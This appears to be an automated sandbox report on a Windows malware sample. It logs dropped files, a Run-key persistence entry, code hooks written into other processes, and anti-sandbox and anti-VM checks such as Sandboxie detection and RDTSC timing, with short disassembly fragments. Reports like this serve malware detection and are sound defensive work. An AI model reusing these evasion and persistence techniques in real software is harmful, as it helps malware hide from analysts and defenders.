Source: 8CoDx513sS.exe	String found in binary or memory: " id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:7d0f6568-add5-440e-b086-b3c078c38736" xmpMM:DocumentID="xmp.did:0893496D751011E6AAC3E0A30989BBB0" xmpMM:InstanceID="xmp.iid:0893496C751011E6AAC3E0A30989BBB0" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7d0f6568-add5-440e-b086-b3c078c38736" stRef:documentID="xmp.did:7d0f6568-add5-440e-b086-b3c078c38736"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>

Source: unknown	Process created: C:\Users\user\Desktop\8CoDx513sS.exe "C:\Users\user\Desktop\8CoDx513sS.exe"
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Process created: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"
Source: unknown	Process created: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"
Source: unknown	Process created: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Process created: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe "C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe"	Jump to behavior

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: libcef.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Section loaded: sspicli.dll	Jump to behavior

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: 8CoDx513sS.exe

Static file information: File size 3255296 > 1048576

Source: 8CoDx513sS.exe

Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x22ce00

Source: 8CoDx513sS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 8CoDx513sS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 8CoDx513sS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 8CoDx513sS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 8CoDx513sS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 8CoDx513sS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 8CoDx513sS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\Uninstall.exe.pdb source: 8CoDx513sS.exe
Source:	Binary string: D:\a\_work\1\s\\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: VCRUNTIME140.dll.0.dr
Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\stats_uploader.exe.pdb source: 8CoDx513sS.exe
Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\promotion_installer.exe.pdb source: 8CoDx513sS.exe
Source:	Binary string: D:\webapps\b\build\slave\repo\build\src\out\Release\promotion_installer.exe.pdbL source: 8CoDx513sS.exe
Source:	Binary string: d:\a01\_work\2\s\\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: MSVCP140.dll.0.dr

Source: C:\Users\user\Desktop\8CoDx513sS.exe

Code function: 0_2_02512F1A LoadLibraryA,GetProcAddress,

0_2_02512F1A

Source: initial sample

Static PE information: section where entry point is pointing to: .ubx1

Source: vhCQTUg.exe.0.dr	Static PE information: section name: .00cfg
Source: vhCQTUg.exe.0.dr	Static PE information: section name: .ubx0
Source: vhCQTUg.exe.0.dr	Static PE information: section name: .ubx1

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_0040692C pushad ; iretd	0_2_0040692D
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_004B8A86 push ecx; ret	0_2_004B8A99
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_004077E8 pushad ; retf	0_2_004077E9
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_00407795 pushad ; ret	0_2_004077A1
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_025242EA push ecx; ret	0_2_025242FD
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_0251F4E9 push ecx; ret	0_2_0251F4FC
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_1000F4E5 push ecx; ret	0_2_1000F4F8
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_100142E6 push ecx; ret	0_2_100142F9
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C887865 push ecx; ret	6_2_6C887878
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A7399 push ecx; ret	6_2_6C8A7398
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A73A8 push ecx; ret	6_2_6C8A7398
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03426616 push ecx; ret	6_2_03426629
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03426B2A push ecx; ret	6_2_03426B3D
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C887865 push ecx; ret	7_2_6C887878
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A7399 push ecx; ret	7_2_6C8A7398
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C8A73A8 push ecx; ret	7_2_6C8A7398

Source: C:\Users\user\Desktop\8CoDx513sS.exe	File created: C:\Program Files (x86)\cSNNeBKH\MSVCP140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8CoDx513sS.exe	File created: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\8CoDx513sS.exe	File created: C:\Program Files (x86)\cSNNeBKH\libcef.dll	Jump to dropped file
Source: C:\Users\user\Desktop\8CoDx513sS.exe	File created: C:\Program Files (x86)\cSNNeBKH\VCRUNTIME140.dll	Jump to dropped file

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03417A82 StartServiceA,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

6_2_03417A82

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WINDOWS			Jump to behavior
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WINDOWS			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6884 base: 1240005 value: E9 8B 2F 14 76	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6884 base: 77382F90 value: E9 7A D0 EB 89	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6884 base: 12A0007 value: E9 EB DF 11 76	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6884 base: 773BDFF0 value: E9 1E 20 EE 89	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6804 base: 1300005 value: E9 8B 2F 08 76	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6804 base: 77382F90 value: E9 7A D0 F7 89	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6804 base: 2E10007 value: E9 EB DF 5A 74	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 6804 base: 773BDFF0 value: E9 1E 20 A5 8B	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 3508 base: 2E00005 value: E9 8B 2F 58 74	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 3508 base: 77382F90 value: E9 7A D0 A7 8B	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 3508 base: 2E10007 value: E9 EB DF 5A 74	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Memory written: PID: 3508 base: 773BDFF0 value: E9 1E 20 A5 8B	Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03414C44 IsWindow,GetWindowThreadProcessId,GetCurrentProcessId,GetWindowTextA,IsWindowVisible,lstrlen,LocalAlloc,LocalSize,GetClassNameA,lstrlen,IsWindowEnabled,IsWindowVisible,IsIconic,IsZoomed,lstrcpy,LocalReAlloc,

6_2_03414C44

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03425358 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_03425358

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: vhCQTUg.exe, 00000006.00000002.4033217075.00000000008B4000.00000020.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000007.00000002.3520642919.00000000008B4000.00000020.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000008.00000002.3593816182.00000000008B4000.00000020.00000001.01000000.00000006.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	RDTSC instruction interceptor: First address: BC92C8 second address: BC92CF instructions: 0x00000000 rdtsc 0x00000002 xor cl, FFFFFF9Ah 0x00000005 mov eax, ebp 0x00000007 rdtsc
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	RDTSC instruction interceptor: First address: BF0B47 second address: 102AF4A instructions: 0x00000000 rdtsc 0x00000002 pop ecx 0x00000003 movzx eax, di 0x00000006 pop eax 0x00000007 cwd 0x00000009 jmp 00007F1AD93BE7F7h 0x0000000e pop esi 0x0000000f movzx edx, cx 0x00000012 jmp 00007F1AD916CA38h 0x00000017 pop ebx 0x00000018 xchg dh, dl 0x0000001a movsx edx, di 0x0000001d pop edx 0x0000001e jmp 00007F1AD9215BEAh 0x00000023 ret 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	RDTSC instruction interceptor: First address: 9BEAAF second address: 9BEAB3 instructions: 0x00000000 rdtsc 0x00000002 cwde 0x00000003 pop edi 0x00000004 rdtsc
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	RDTSC instruction interceptor: First address: 9BEAB3 second address: 8F4D48 instructions: 0x00000000 rdtsc 0x00000002 mov ebp, 3E4A5909h 0x00000007 pop ebp 0x00000008 xchg bh, bl 0x0000000a jmp 00007F1AD91BA8BAh 0x0000000f pop ebx 0x00000010 rdtsc

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Special instruction interceptor: First address: 102AF4A instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Dropped PE file which has not been started: C:\Program Files (x86)\cSNNeBKH\MSVCP140.dll			Jump to dropped file
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Dropped PE file which has not been started: C:\Program Files (x86)\cSNNeBKH\VCRUNTIME140.dll			Jump to dropped file

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_0-26695
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_6-115076
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_6-115081

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_0-27150
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\Desktop\8CoDx513sS.exe	API coverage: 8.2 %
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	API coverage: 2.6 %
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	API coverage: 1.0 %

Source: C:\Users\user\Desktop\8CoDx513sS.exe TID: 4188	Thread sleep time: -93000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe TID: 988	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe TID: 988	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C82270F GetLocalTime followed by cmp: cmp eax, 0ch and CTI: jle 6C822771h		6_2_6C82270F
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C82270F GetLocalTime followed by cmp: cmp eax, 0ch and CTI: jle 6C822771h		7_2_6C82270F

